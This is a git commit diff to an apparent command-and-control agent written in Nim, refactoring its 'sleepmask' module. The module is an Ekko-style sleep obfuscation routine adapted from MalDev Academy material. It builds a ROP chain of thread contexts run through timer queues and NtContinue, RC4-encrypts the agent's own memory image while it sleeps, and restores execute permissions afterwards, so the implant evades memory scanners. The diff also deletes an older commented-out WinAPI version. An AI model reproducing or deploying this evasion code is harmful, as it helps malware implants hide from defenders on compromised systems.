From a18ad3c2cb14df6403c24fd46b066d4531b03324 Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Wed, 27 Aug 2025 18:24:44 +0200 Subject: [PATCH] Removed Ekko WinAPI implementation to clear up file. --- src/agent/core/sleepmask.nim | 254 ++++++++++++++--------------------- src/common/types.nim | 1 - src/modules/sleep.nim | 6 +- 3 files changed, 102 insertions(+), 159 deletions(-) diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index 282003d..6fc33c8 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -7,6 +7,7 @@ import sugar # Sleep obfuscation implementation based on Ekko, originally developed by C5pider # The code in this file was taken from the MalDev Academy modules 54,56 & 59 and translated from C to Nim # https://maldevacademy.com/new/modules/54?view=blocks + type USTRING* {.bycopy.} = object Length*: DWORD @@ -17,15 +18,12 @@ type NotificationEvent, SynchronizationEvent -# Required APIs -# https://ntdoc.m417z.com/rtlcreatetimerqueue +# Required APIs (definitions taken from NtDoc) proc RtlCreateTimerQueue*(phTimerQueueHandle: PHANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimerQueue"), dynlib: protect("ntdll.dll").} -# https://ntdoc.m417z.com/ntcreateevent proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttributes: POBJECT_ATTRIBUTES, eventType: EVENT_TYPE, initialState: BOOLEAN): NTSTATUS {.cdecl, stdcall, importc: protect("NtCreateEvent"), dynlib: protect("ntdll.dll").} -# https://ntdoc.m417z.com/rtlcreatetimer (Using FARPROC instead of PRTL_TIMER_CALLBACK, as thats the type of NtContinue) proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").} -# https://ntdoc.m417z.com/ntsignalandwaitforsingleobject proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").} +proc RtlDeleteTimerQueue(hQueue: HANDLE): NTSTATUS {.cdecl, stdcall, importc: protect("RtlDeleteTimerQueue"), dynlib: protect("ntdll.dll").} proc sleepEkko*(sleepDelay: int) = @@ -42,174 +40,122 @@ proc sleepEkko*(sleepDelay: int) = timer: HANDLE value: DWORD = 0 delay: DWORD = 0 - - var - NtContinue = GetProcAddress(GetModuleHandleA("ntdll"), "NtContinue") - SystemFunction032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032") - - # Locate image base and size - var imageBase = GetModuleHandleA(NULL) - var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage - # echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)" - img.Buffer = cast[PVOID](imageBase) - img.Length = imageSize + try: + var + NtContinue = GetProcAddress(GetModuleHandleA("ntdll"), "NtContinue") + SystemFunction032 = GetProcAddress(LoadLibraryA("Advapi32"), "SystemFunction032") - # Generate random encryption key - var rnd: string = Bytes.toString(generateBytes(Key16)) - key.Buffer = rnd.addr - key.Length = cast[DWORD](rnd.len()) + # Locate image base and size + var imageBase = GetModuleHandleA(NULL) + var imageSize = (cast[PIMAGE_NT_HEADERS](imageBase + (cast[PIMAGE_DOS_HEADER](imageBase)).e_lfanew)).OptionalHeader.SizeOfImage + # echo fmt"[+] Image base at: 0x{cast[uint64](imageBase).toHex()} ({imageSize} bytes)" + + img.Buffer = cast[PVOID](imageBase) + img.Length = imageSize - # Create timer queue - status = RtlCreateTimerQueue(addr queue) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status) + # Generate random encryption key + var keyBuffer: string = Bytes.toString(generateBytes(Key16)) + key.Buffer = keyBuffer.addr + key.Length = cast[DWORD](keyBuffer.len()) - # Create events - status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status) + # Sleep obfuscation implementation using NTAPI + # Create timer queue + status = RtlCreateTimerQueue(addr queue) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) - status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status) + # Create events + status = NtCreateEvent(addr hEvent, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) - status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status) + status = NtCreateEvent(addr hEventStart, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) - status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD) - if status == STATUS_SUCCESS: + status = NtCreateEvent(addr hEventEnd, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) + # Retrieve the initial thread context + status = RtlCreateTimer(queue, addr timer, RtlCaptureContext, addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) + + # Wait until RtlCaptureContext is successfully completed to prevent a race condition from forming status = RtlCreateTimer(queue, addr timer, SetEvent, addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD) - if status == STATUS_SUCCESS: + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) - WaitForSingleObject(hEvent, 0x32) + WaitForSingleObject(hEvent, 1000) - # Prepare ROP Chain - # Initially, each element in this array will have the same context as the timer's thread context - for i in 0 ..< ctx.len(): - copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) - dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer - - # ROP Chain - # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. - ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) - ctx[0].Rcx = cast[DWORD64](hEventStart) - ctx[0].Rdx = cast[DWORD64](INFINITE) - ctx[0].R8 = cast[DWORD64](NULL) + # Preparing the ROP chain + # Initially, each element in this array will have the same context as the timer's thread context + for i in 0 ..< ctx.len(): + copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) + dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer + + # ROP Chain + # ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. + ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[0].Rcx = cast[DWORD64](hEventStart) + ctx[0].Rdx = cast[DWORD64](INFINITE) + ctx[0].R8 = cast[DWORD64](NULL) - # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] - ctx[1].Rip = cast[DWORD64](VirtualProtect) - ctx[1].Rcx = cast[DWORD64](imageBase) - ctx[1].Rdx = cast[DWORD64](imageSize) - ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) - ctx[1].R9 = cast[DWORD64](addr value) + # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] + ctx[1].Rip = cast[DWORD64](VirtualProtect) + ctx[1].Rcx = cast[DWORD64](imageBase) + ctx[1].Rdx = cast[DWORD64](imageSize) + ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) + ctx[1].R9 = cast[DWORD64](addr value) - # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. - ctx[2].Rip = cast[DWORD64](SystemFunction032) - ctx[2].Rcx = cast[DWORD64](addr img) - ctx[2].Rdx = cast[DWORD64](addr key) + # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. + ctx[2].Rip = cast[DWORD64](SystemFunction032) + ctx[2].Rcx = cast[DWORD64](addr img) + ctx[2].Rdx = cast[DWORD64](addr key) - # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. - ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) - ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) - ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) - ctx[3].R8 = cast[DWORD64](FALSE) + # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. + ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) + ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) + ctx[3].Rdx = cast[DWORD64](cast[DWORD](sleepDelay)) + ctx[3].R8 = cast[DWORD64](FALSE) - # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory - ctx[4].Rip = cast[DWORD64](SystemFunction032) - ctx[4].Rcx = cast[DWORD64](addr img) - ctx[4].Rdx = cast[DWORD64](addr key) + # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory + ctx[4].Rip = cast[DWORD64](SystemFunction032) + ctx[4].Rcx = cast[DWORD64](addr img) + ctx[4].Rdx = cast[DWORD64](addr key) - # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] - ctx[5].Rip = cast[DWORD64](VirtualProtect) - ctx[5].Rcx = cast[DWORD64](imageBase) - ctx[5].Rdx = cast[DWORD64](imageSize) - ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) - ctx[5].R9 = cast[DWORD64](addr value) - - # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete - ctx[6].Rip = cast[DWORD64](SetEvent) - ctx[6].Rcx = cast[DWORD64](hEventEnd) + # ctx[5] contains the call to VirtualProtect to change the payload memory back to [R-X] + ctx[5].Rip = cast[DWORD64](VirtualProtect) + ctx[5].Rcx = cast[DWORD64](imageBase) + ctx[5].Rdx = cast[DWORD64](imageSize) + ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) + ctx[5].R9 = cast[DWORD64](addr value) + + # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete + ctx[6].Rip = cast[DWORD64](SetEvent) + ctx[6].Rcx = cast[DWORD64](hEventEnd) - # Execute timers - for i in 0 ..< ctx.len(): - delay += 100 - status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) - if status != STATUS_SUCCESS: - raise newException(CatchableError, $status) - - echo "[*] Triggering sleep obfuscation" - - status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) + # Executing timers + for i in 0 ..< ctx.len(): + delay += 100 + status = RtlCreateTimer(queue, addr timer, NtContinue, addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) if status != STATUS_SUCCESS: - raise newException(CatchableError, $status) - - # queue = CreateTimerQueue() - # hEvent = CreateEventW(nil, 0, 0, nil) - # hEventStart = CreateEventW(nil, 0, 0, nil) - # hEventEnd = CreateEventW(nil, 0, 0, nil) - - # if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](RtlCaptureContext), addr ctxInit, 0, 0, WT_EXECUTEINTIMERTHREAD): - - # if CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](SetEvent), addr hEvent, 0, 0, WT_EXECUTEINTIMERTHREAD): - - # # Wait until the threat context has been retrieved - # WaitForSingleObject(hEvent, 0x32) - - # # Prepare ROP Chain - # # Initially, each element in this array will have the same context as the timer's thread context - # for i in 0 ..< ctx.len(): - # copyMem(addr ctx[i], addr ctxInit, sizeof(CONTEXT)) - # dec(ctx[i].Rsp, 8) # Stack alignment, due to the RSP register being incremented by the size of a pointer + raise newException(CatchableError, $status.toHex()) - # # Ctx[0] contains the call to WaitForSingleObjectEx, which waits for a signal to start and execute the rest of the chain. - # ctx[0].Rip = cast[DWORD64](WaitForSingleObjectEx) - # ctx[0].Rcx = cast[DWORD64](hEventStart) - # ctx[0].Rdx = cast[DWORD64](INFINITE) - # ctx[0].R8 = cast[DWORD64](NULL) + echo "[*] Triggering sleep obfuscation" - # # ctx[1] contains the call to VirtualProtect, which changes the protection of the payload image memory to [RW-] - # ctx[1].Rip = cast[DWORD64](VirtualProtect) - # ctx[1].Rcx = cast[DWORD64](imageBase) - # ctx[1].Rdx = cast[DWORD64](imageSize) - # ctx[1].R8 = cast[DWORD64](PAGE_READWRITE) - # ctx[1].R9 = cast[DWORD64](addr value) - - # # ctx[2] contains the call to SystemFunction032, which performs the actual payload memory obfuscation using RC4. - # ctx[2].Rip = cast[DWORD64](SystemFunction032) - # ctx[2].Rcx = cast[DWORD64](addr img) - # ctx[2].Rdx = cast[DWORD64](addr key) - - # # ctx[3] contains the call to WaitForSingleObjectEx, which delays execution and simulates sleeping until the specified timeout is reached. - # ctx[3].Rip = cast[DWORD64](WaitForSingleObjectEx) - # ctx[3].Rcx = cast[DWORD64](GetCurrentProcess()) - # ctx[3].Rdx = cast[DWORD64](sleepDelay) - # ctx[3].R8 = cast[DWORD64](FALSE) - - # # ctx[4] contains the call to SystemFunction032 to decrypt the previously encrypted payload memory - # ctx[4].Rip = cast[DWORD64](SystemFunction032) - # ctx[4].Rcx = cast[DWORD64](addr img) - # ctx[4].Rdx = cast[DWORD64](addr key) - - # # ctx[5] contains the call to VirtualProtect to change the payload memory back to [RWX] - # ctx[5].Rip = cast[DWORD64](VirtualProtect) - # ctx[5].Rcx = cast[DWORD64](imageBase) - # ctx[5].Rdx = cast[DWORD64](imageSize) - # ctx[5].R8 = cast[DWORD64](PAGE_EXECUTE_READWRITE) - # ctx[5].R9 = cast[DWORD64](addr value) - - # # ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete - # ctx[6].Rip = cast[DWORD64](SetEvent) - # ctx[6].Rcx = cast[DWORD64](hEventEnd) + status = NtSignalAndWaitForSingleObject(hEventStart, hEventEnd, FALSE, NULL) + if status != STATUS_SUCCESS: + raise newException(CatchableError, $status.toHex()) - # for i in 0 ..< ctx.len(): - # delay += 100 - # CreateTimerQueueTimer(addr timer, queue, cast[WAITORTIMERCALLBACK](NtContinue), addr ctx[i], delay, 0, WT_EXECUTEINTIMERTHREAD) + except CatchableError as err: + echo "[-] ", err.msg - # echo "[*] Triggering sleep obfuscation." - - # SignalObjectAndWait(hEventStart, hEventEnd, INFINITE, FALSE) - - # DeleteTimerQueue(queue) \ No newline at end of file + finally: + # Cleanup + if queue != 0: discard RtlDeleteTimerQueue(queue) + if hEvent != 0: CloseHandle(hEvent) + if hEventStart != 0: CloseHandle(hEventStart) + if hEventEnd != 0: CloseHandle(hEventEnd) \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 9d3a076..a8c230d 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -8,7 +8,6 @@ const MAGIC* = 0x514E3043'u32 # Magic value: C0NQ VERSION* = 1'u8 # Version 1 HEADER_SIZE* = 48'u8 # 48 bytes fixed packet header size - STATUS_SUCCESS = 0 type PacketType* = enum diff --git a/src/modules/sleep.nim b/src/modules/sleep.nim index fc0e55f..88c5878 100644 --- a/src/modules/sleep.nim +++ b/src/modules/sleep.nim @@ -33,12 +33,10 @@ when defined(agent): # Parse task parameter let delay = int(Bytes.toUint32(task.args[0].data)) - echo fmt" [>] Sleeping for {delay} seconds." - - sleep(delay * 1000) - # Updating sleep in agent context + echo fmt" [>] Setting sleep delay to {delay} seconds." ctx.sleep = delay + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) except CatchableError as err: